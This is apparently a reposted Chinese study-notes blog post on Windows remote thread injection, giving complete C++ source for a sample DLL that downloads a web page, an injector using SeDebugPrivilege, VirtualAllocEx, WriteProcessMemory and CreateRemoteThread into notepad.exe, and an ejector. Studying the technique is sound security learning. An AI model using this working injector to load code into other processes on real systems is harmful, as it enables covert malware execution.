0


【Windows安全】远程线程注入

提示:本篇文章旨在记录个人学习笔记,如有错误欢迎各位大佬指出。

文章目录


前言

最近空闲,然后刚巧刷到关于Windows安全技术的博客,随就记录一下。好了,废话不多说,开始!


一、下载调试工具

在开始之前可以把我们需要的工具先下载下来,这里可以下载微软提供的两款软件。
进程资源管理器:https://learn.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
DebugView:https://learn.microsoft.com/zh-cn/sysinternals/downloads/debugview

二、远程线程注入

1.目标及思路

目标:当某进程运行的时候,会执行我们的样例DLL,这里进程以notepad.exe为例。
思路如下图:
在这里插入图片描述

2.目标进程PID

使用notepad.exe随便打开一个文本文件,然后打开任务管理器或者进程管理器,找到notepad中的PID,如下图所示:
在这里插入图片描述

3.样例动态库

代码如下(示例):

// dllmain.cpp : Defines the entry point for the DLL application.#include"pch.h"#include"windows.h"#include"tchar.h"#include"Urlmon.h"#pragmacomment(lib,"urlmon.lib")#defineDEF_URL(L"http://www.naver.com/index.html")#defineDEF_FILE_NAME(L"index.html")

HMODULE g_hMod =NULL;

DWORD WINAPI ThreadProc(LPVOID lParam){
    TCHAR szPath[1024]={0};if(!GetModuleFileName(g_hMod, szPath, MAX_PATH))return FALSE;

    TCHAR* p =_tcsrchr(szPath,'\\');if(!p)return FALSE;_tcscpy_s(p +1, _MAX_PATH, DEF_FILE_NAME);URLDownloadToFile(NULL, DEF_URL, szPath,0,NULL);return0;}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     ){
    HANDLE hThread =NULL;

    g_hMod =(HMODULE)hModule;switch(ul_reason_for_call){case DLL_PROCESS_ATTACH:OutputDebugString(L"<myhack.dll> Injection!!!");
        hThread =CreateThread(NULL,0, ThreadProc,NULL,0,NULL);CloseHandle(hThread);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}

当该DLL被调用时,会下载http://www.naver.com/index.html该文件。

4.远程线程注入实现

代码如下(示例):

// myinject.cpp : This file contains the 'main' function. Program execution begins and ends there.//#include<iostream>#include"windows.h"#include"tchar.h"#include<string>

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege){
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;if(!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken)){printf("OpenProcessToken error: %u\n",GetLastError());return FALSE;}if(!LookupPrivilegeValue(NULL,// lookup privilege on local system
        lpszPrivilege,// privilege to lookup &luid))// receives LUID of privilege{printf("LookupPrivilegeValue error: %u\n",GetLastError());return FALSE;}

    tp.PrivilegeCount =1;
    tp.Privileges[0].Luid = luid;if(bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;else
        tp.Privileges[0].Attributes =0;// Enable the privilege or disable all privileges.if(!AdjustTokenPrivileges(hToken,
        FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){printf("AdjustTokenPrivileges error: %u\n",GetLastError());return FALSE;}if(GetLastError()== ERROR_NOT_ALL_ASSIGNED){printf("The token does not have the specified privilege. \n");return FALSE;}return TRUE;}

BOOL InjectDll(DWORD dwPID,char* szDllPath){
    HANDLE hProcess =NULL, hThread =NULL;
    HMODULE hMod =NULL;
    LPVOID pRemoteBuf =NULL;
    DWORD dwBufSize =(DWORD)(strlen(szDllPath)+1)*sizeof(CHAR);
    LPTHREAD_START_ROUTINE pThreadProc;if(!(hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))){printf("OpenProcess(%d) failed!!! [%d]\n", dwPID,GetLastError());return FALSE;}

    pRemoteBuf =VirtualAllocEx(hProcess,NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, pRemoteBuf,(LPVOID)szDllPath, dwBufSize,NULL);

    hMod =GetModuleHandle(L"kernel32.dll");
    pThreadProc =(LPTHREAD_START_ROUTINE)GetProcAddress(hMod,"LoadLibraryA");

    hThread =CreateRemoteThread(hProcess,NULL,0, pThreadProc, pRemoteBuf,0,NULL);WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);CloseHandle(hProcess);return TRUE;}intmain(int argc,char* argv[]){
    std::cout <<"Hello World!\n";if(argc !=3){printf("USAGE : %s <pid> <dll_path>\n", argv[0]);return1;}// change privilegeif(!SetPrivilege(SE_DEBUG_NAME, TRUE))return1;// inject dllif(InjectDll((DWORD)std::stol(argv[1]), argv[2]))printf("InjectDll(%s) success!!!\n", argv[2]);elseprintf("InjectDll(%s) failed!!!\n", argv[2]);return0;}

注意这一句“GetProcAddress(hMod, “LoadLibraryA”)”,当处理的是宽字符时,请将"LoadLibraryA"换成"LoadLibraryW",相应地也要处理一下字符串。

5.卸载注入

代码如下(示例):

// myeject.cpp : This file contains the 'main' function. Program execution begins and ends there.//#include<iostream>#include"windows.h"#include"tlhelp32.h"#include"tchar.h"#defineDEF_PROC_NAME(L"notepad.exe")#defineDEF_DLL_NAME(L"myhack.dll")

DWORD FindProcessID(LPCTSTR szProcessName){
    DWORD dwPID =0xFFFFFFFF;
    HANDLE hSnapShot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe;// Get the snapshot of the system
    pe.dwSize =sizeof(PROCESSENTRY32);
    hSnapShot =CreateToolhelp32Snapshot(TH32CS_SNAPALL,NULL);// find processProcess32First(hSnapShot,&pe);do{if(!_tcsicmp(szProcessName,(LPCTSTR)pe.szExeFile)){
            dwPID = pe.th32ProcessID;break;}}while(Process32Next(hSnapShot,&pe));CloseHandle(hSnapShot);return dwPID;}

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege){
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;if(!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken)){printf("OpenProcessToken error: %u\n",GetLastError());return FALSE;}if(!LookupPrivilegeValue(NULL,// lookup privilege on local system
        lpszPrivilege,// privilege to lookup &luid))// receives LUID of privilege{printf("LookupPrivilegeValue error: %u\n",GetLastError());return FALSE;}

    tp.PrivilegeCount =1;
    tp.Privileges[0].Luid = luid;if(bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;else
        tp.Privileges[0].Attributes =0;// Enable the privilege or disable all privileges.if(!AdjustTokenPrivileges(hToken,
        FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){printf("AdjustTokenPrivileges error: %u\n",GetLastError());return FALSE;}if(GetLastError()== ERROR_NOT_ALL_ASSIGNED){printf("The token does not have the specified privilege. \n");return FALSE;}return TRUE;}

BOOL EjectDll(DWORD dwPID, LPCTSTR szDllName){
    BOOL bMore = FALSE, bFound = FALSE;
    HANDLE hSnapshot, hProcess, hThread;
    HMODULE hModule =NULL;
    MODULEENTRY32 me ={sizeof(me)};
    LPTHREAD_START_ROUTINE pThreadProc;

    hSnapshot =CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);

    bMore =Module32First(hSnapshot,&me);for(; bMore; bMore =Module32Next(hSnapshot,&me)){if(!_tcsicmp((LPCTSTR)me.szModule, szDllName)||!_tcsicmp((LPCTSTR)me.szExePath, szDllName)){
            bFound = TRUE;break;}}if(!bFound){CloseHandle(hSnapshot);return FALSE;}if(!(hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))){printf("OpenProcess(%d) failed!!! [%d]\n", dwPID,GetLastError());return FALSE;}

    hModule =GetModuleHandle(L"kernel32.dll");
    pThreadProc =(LPTHREAD_START_ROUTINE)GetProcAddress(hModule,"FreeLibrary");

    hThread =CreateRemoteThread(hProcess,NULL,0,
        pThreadProc, me.modBaseAddr,0,NULL);WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);CloseHandle(hProcess);CloseHandle(hSnapshot);return TRUE;}intmain(int argc,char* argv[]){
    std::cout <<"Hello World!\n";

    DWORD dwPID =0xFFFFFFFF;// find process
    dwPID =FindProcessID(DEF_PROC_NAME);if(dwPID ==0xFFFFFFFF){printf("There is no <%ws> process!\n", DEF_PROC_NAME);return1;}printf("PID of \"%ws\" is %d\n", DEF_PROC_NAME, dwPID);// change privilegeif(!SetPrivilege(SE_DEBUG_NAME, TRUE))return1;// eject dllif(EjectDll(dwPID, DEF_DLL_NAME))printf("EjectDll(%d, \"%ws\") success!!!\n", dwPID, DEF_DLL_NAME);elseprintf("EjectDll(%d, \"%ws\") failed!!!\n", dwPID, DEF_DLL_NAME);return0;}

卸载例程,主要调用FreeLibrary函数释放我们之前注入的DLL。

三、执行注入

打开debugview和进程管理器,在进程管理器菜单栏中选中“view” -> “Lower pane view” -> “Dlls”。如下图所示:
在这里插入图片描述
以管理员权限打开cmd,执行如下:

myinject.exe PID C:\path\to\file\myhack.dll

卸载命令执行如下:

myeject.exe

注入执行结果如下:
在这里插入图片描述


总结

每天学习一点小技术,总有一天会成为大牛的,加油!!!
看十遍不如写一遍,动动手指,你也能成为我这样的小白菜。

标签: windows 安全

本文转载自: https://blog.csdn.net/TakakiTohno/article/details/141931337
版权归原作者 Carlos Ut 所有, 如有侵权,请联系我们删除。

“【Windows安全】远程线程注入”的评论:

还没有评论